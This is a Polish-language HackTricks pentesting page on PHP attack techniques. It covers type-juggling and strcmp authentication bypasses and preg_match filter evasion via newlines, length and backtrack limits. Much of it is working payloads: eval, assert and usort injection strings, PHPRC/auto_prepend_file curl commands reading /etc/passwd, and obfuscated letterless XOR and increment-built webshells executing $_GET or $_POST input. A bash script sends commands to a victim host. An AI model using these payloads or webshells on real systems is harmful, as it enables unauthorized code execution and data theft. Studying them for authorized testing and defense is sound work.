hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

24 KiB

Sztuczki w PHP

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

{% embed url="https://websec.nl/" %}

To również dotyczy plików cookie phpMyAdmin.

Pliki cookie:

PHPSESSID
phpMyAdmin

Lokalizacje:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Ominięcie porównań w PHP

Luźne porównania/Type Juggling ( == )

Jeśli w PHP używane jest ==, mogą wystąpić przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, czy typ porównywanych danych jest taki sam, musisz użyć ===.

Tabele porównań w PHP: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
  • "0xAAAA" == "43690" -> True Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)
  • "0e3264578" == 0 --> True Ciąg rozpoczynający się od "0e" i zawierający cokolwiek będzie równy 0
  • "0X3264578" == 0X --> True Ciąg rozpoczynający się od "0" i zawierający dowolną literę (X może być dowolną literą) oraz cokolwiek będzie równy 0
  • "0e12334" == "0" --> True Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" oraz pewną zawartość, która jest haszowana i porównywana do niego. Dlatego jeśli można podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, można ominąć porównanie. Można znaleźć już zahaszowane ciągi w tym formacie tutaj: https://github.com/spaze/hashes
  • "X" == 0 --> True Dowolna litera w ciągu znaków jest równa liczbie całkowitej 0

Więcej informacji na stronie https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling również wpływa na funkcję in_array() domyślnie (trzeba ustawić na true trzeci argument, aby dokonać ścisłego porównania):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Jeśli ta funkcja jest używana do jakiejkolwiek weryfikacji uwierzytelniania (takiej jak sprawdzanie hasła) i użytkownik kontroluje jedną stronę porównania, może wysłać pusty tablicę zamiast ciągu znaków jako wartość hasła (https://example.com/login.php/?username=admin&password[]=) i ominąć tę weryfikację:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Suwałe występuje z strcasecmp()

Ścisłe rzutowanie typów

Nawet jeśli jest używany operator ===, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na manipulację typami. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() można użyć do sprawdzania danych wprowadzanych przez użytkownika (sprawdza, czy jakiekolwiek słowo/wyrażenie regularne z czarnej listy jest obecne w danych wprowadzonych przez użytkownika i jeśli nie, kod może kontynuować swoje wykonanie).

Ominięcie nowej linii

Jednakże, gdy ograniczamy początek wyrażenia regularnego preg_match() sprawdza tylko pierwszą linię danych wprowadzonych przez użytkownika, więc jeśli w jakiś sposób możesz wysłać dane we wielu liniach, możesz ominąć tę kontrolę. Przykład:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Aby ominąć tę kontrolę, możesz wysłać wartość z zakodowanymi znakami nowej linii (%0A) lub jeśli możesz wysłać dane JSON, wyślij je w kilku wierszach:

{
"cmd": "cat /etc/passwd"
}

Znajdź przykład tutaj: https://ramadistra.dev/fbctf-2019-rceservice

Bypass błędu długości

(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)
Jeśli możesz przesłać do preg_match() bardzo duży poprawny input, nie będzie w stanie go przetworzyć i będziesz mógł obejść sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz wysłać:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Przejście ReDoS

Sztuczka z: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 i https://mizu.re/post/pong

W skrócie problem występuje, ponieważ funkcje preg_* w PHP opierają się na bibliotece PCRE. W PCRE pewne wyrażenia regularne są dopasowywane za pomocą wielu rekurencyjnych wywołań, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit domyślnie wynosi 100 000, co jest więcej niż mieści się na stosie.

Wątek na Stackoverflow został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:
Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja preg_match() zwróci false, co sprawi, że aplikacja uzna, iż nasze dane wejściowe nie są złośliwe, a na końcu ładując coś w stylu {system(<bardzozłaźliczba>)} aby uzyskać SSTI --> RCE --> flag :).

Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", które, jak podaje dokumentacja PHP, domyślnie wynoszą 1 000 000 (1M) w zmiennej pcre.backtrack_limit.
Aby to osiągnąć, 'X'*500_001 spowoduje wykonanie 1 miliona kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Typowanie dynamiczne dla zaciemniania PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Wykonaj Po Przekierowaniu (EAR)

Jeśli PHP przekierowuje do innej strony, ale nie jest wywoływana funkcja die lub exit po ustawieniu nagłówka Location, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Wykorzystanie Traversal ścieżki i włączenie pliku

Sprawdź:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

Więcej sztuczek

  • register_globals: W PHP < 4.1.1.1 lub jeśli jest błędnie skonfigurowany, register_globals może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $_GET, jeśli mają wartość np. $_GET["param"]="1234", można uzyskać do niej dostęp za pomocą $param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne, które są używane w kodzie.
  • Ciasteczka PHPSESSION z tej samej domeny są przechowywane w tym samym miejscu, dlatego jeśli w obrębie domeny używane są różne ciasteczka w różnych ścieżkach, można sprawić, że ścieżka uzyskuje dostęp do ciasteczka z innej ścieżki, ustawiając wartość ciasteczka z innej ścieżki.
    W ten sposób, jeśli obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie, można sprawić, że wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą jej w ścieżce 2).
  • Gdy masz nazwy użytkowników użytkowników maszyny. Sprawdź adres: /~<USERNAME> aby zobaczyć, czy katalogi php są aktywowane.
  • LFI i RCE za pomocą opakowań php

password_hash/password_verify

Te funkcje są zazwyczaj używane w PHP do generowania skrótów z haseł i do sprawdzania, czy hasło jest poprawne w porównaniu ze skrótem.
Obsługiwane algorytmy to: PASSWORD_DEFAULT i PASSWORD_BCRYPT (zaczyna się od $2y$). Zauważ, że PASSWORD_DEFAULT jest często takie samo jak PASSWORD_BCRYPT. Aktualnie PASSWORD_BCRYPT ma ograniczenie rozmiaru wejścia do 72 bajtów. Dlatego, gdy próbujesz utworzyć skrót czegoś większego niż 72 bajty tym algorytmem, użyte zostanie tylko pierwsze 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Bypassowanie nagłówków HTTP poprzez nadużycie błędów PHP

Wywołanie błędu po ustawieniu nagłówków

Z tego wątku na Twitterze można zobaczyć, że wysłanie więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików spowoduje, że PHP nie będzie ustawiał nagłówków w odpowiedzi.

Pozwala to na ominięcie na przykład ustawiania nagłówków CSP w kodach takich jak:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Wypełnianie treści przed ustawieniem nagłówków

Jeśli strona w PHP drukuje błędy i echo z powrotem pewne dane wprowadzone przez użytkownika, użytkownik może sprawić, że serwer PHP wydrukuje trochę treści wystarczająco długiej, aby kiedy spróbuje dodać nagłówki do odpowiedzi, serwer zwróci błąd.
W następującym scenariuszu atakujący sprawił, że serwer zwrócił duże błędy, i jak widać na ekranie, kiedy PHP spróbowało zmodyfikować informacje nagłówka, nie mogło (więc na przykład nagłówek CSP nie został wysłany do użytkownika):

SSRF w funkcjach PHP

Sprawdź stronę:

{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Wykonanie kodu

system("ls");
`ls`;
shell_exec("ls");

Sprawdź to dla bardziej przydatnych funkcji PHP

RCE za pomocą preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Aby wykonać kod w argumencie "replace", wymagane jest co najmniej jedno dopasowanie.
Ta opcja preg_replace została przestarzała od wersji PHP 5.5.0.

RCE za pomocą Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE za pomocą Assert()

Ta funkcja w php pozwala ci wykonać kod napisany w postaci ciągu znaków, aby zwrócić true lub false (i w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika zostanie wstawiona w środku ciągu znaków. Na przykład:
assert("strpos($_GET['page']),'..') === false") --> W tym przypadku, aby uzyskać RCE, możesz:

?page=a','NeVeR') === false and system('ls') and strpos('a

Będziesz musiał przerwać składnię kodu, dodać swój payload, a następnie ponownie ją naprawić. Możesz użyć operacji logicznych takich jak "and" lub "%26%26" lub "|". Należy zauważyć, że "or" lub "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. Podobnie nie działa ";" ponieważ nasz payload nie zostanie wykonany.

Inną opcją jest dodanie do ciągu znaków wykonania polecenia: '.highlight_file('.passwd').'

Inną opcją (jeśli masz dostęp do kodu źródłowego) jest zmodyfikowanie pewnej zmiennej w celu zmiany wykonania: $file = "hola"

RCE za pomocą usort()

Ta funkcja służy do sortowania tablicy elementów za pomocą określonej funkcji.
Aby nadużyć tej funkcji:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Możesz również użyć // aby zakomentować resztę kodu.

Aby odkryć liczbę nawiasów, które musisz zamknąć:

  • ?order=id;}//: otrzymujemy komunikat o błędzie (Parse error: syntax error, unexpected ';'). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
  • ?order=id);}//: otrzymujemy ostrzeżenie. Wygląda na to, że jest to prawidłowe.
  • ?order=id));}//: otrzymujemy komunikat o błędzie (Parse error: syntax error, unexpected ')' i). Prawdopodobnie mamy za dużo zamykających nawiasów.

RCE za pośrednictwem .httaccess

Jeśli możesz załadować plik .htaccess, możesz skonfigurować kilka rzeczy, a nawet wykonać kod (konfigurując pliki z rozszerzeniem .htaccess do wykonywania).

Różne powłoki .htaccess można znaleźć tutaj

RCE za pośrednictwem zmiennych środowiskowych

Jeśli znajdziesz podatność, która pozwala Ci modyfikować zmienne środowiskowe w PHP (oraz inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać zabezpieczone), możesz wykorzystać to zachowanie do uzyskania RCE.

  • LD_PRELOAD: Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).
  • PHPRC : Wskazuje PHP, gdzie znajduje się plik konfiguracyjny, zwykle nazywany php.ini. Jeśli możesz wgrać swój własny plik konfiguracyjny, użyj PHPRC, aby wskazać PHP na niego. Dodaj wpis auto_prepend_file określający drugi wgrany plik. Ten drugi plik zawiera normalny kod PHP, który jest następnie wykonywany przez środowisko PHP przed jakimkolwiek innym kodem.
  1. Wgraj plik PHP zawierający nasz kod powłoki
  2. Wgraj drugi plik, zawierający dyrektywę auto_prepend_file instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1
  3. Ustaw zmienną PHPRC na plik wgrany w kroku 2.
  • Uzyskaj więcej informacji na temat wykonania tego łańcucha z oryginalnego raportu.
  • PHPRC - kolejna opcja
  • Jeśli nie możesz wgrywać plików, możesz użyć w FreeBSD pliku "file" /dev/fd/0, który zawiera stdin, będący treścią żądania wysłanego do stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Lub aby uzyskać RCE, włącz allow_url_include i dodaj plik z kodem PHP w formacie base64:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technika z tego raportu.

Analiza statyczna PHP

Sprawdź, czy możesz wstawić kod w wywołania tych funkcji (z tutaj):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w /etc/php5/apache2/php.ini, dodając display_errors = On i zrestartować apache: sudo systemctl restart apache2

Deobfuskacja kodu PHP

Możesz użyć strony internetowej www.unphp.net do deobfuskacji kodu PHP.

PHP Wrappery i Protokoły

Wrappery i protokoły PHP mogą pozwolić Ci obejść zabezpieczenia zapisu i odczytu w systemie i go skompromitować. Aby uzyskać więcej informacji, sprawdź tę stronę.

Xdebug nieuwierzytelniona RCE

Jeśli zobaczysz, że Xdebug jest włączony w wyniku phpconfig(), powinieneś spróbować uzyskać RCE za pomocą https://github.com/nqxcode/xdebug-exploit

Zmienne zmiennych

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE wykorzystujące nowe $_GET["a"]($_GET["b"])

Jeśli na stronie możesz utworzyć nowy obiekt dowolnej klasy, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Wykonanie PHP bez liter

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Użycie ósemkowego

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Kod powłoki XOR

Zgodnie z tym opisem, można wygenerować prosty kod powłoki w ten sposób:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Więc jeśli możesz wykonać dowolny kod PHP bez użycia cyfr i liter, możesz wysłać żądanie, wykorzystując poniższy payload do wykonania arbitralnego kodu PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Dla bardziej szczegółowego wyjaśnienia sprawdź https://ctf-wiki.org/web/php/php/#preg_match

Kod powłoki XOR (wewnątrz eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Podobne do Perla

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

{% embed url="https://websec.nl/" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: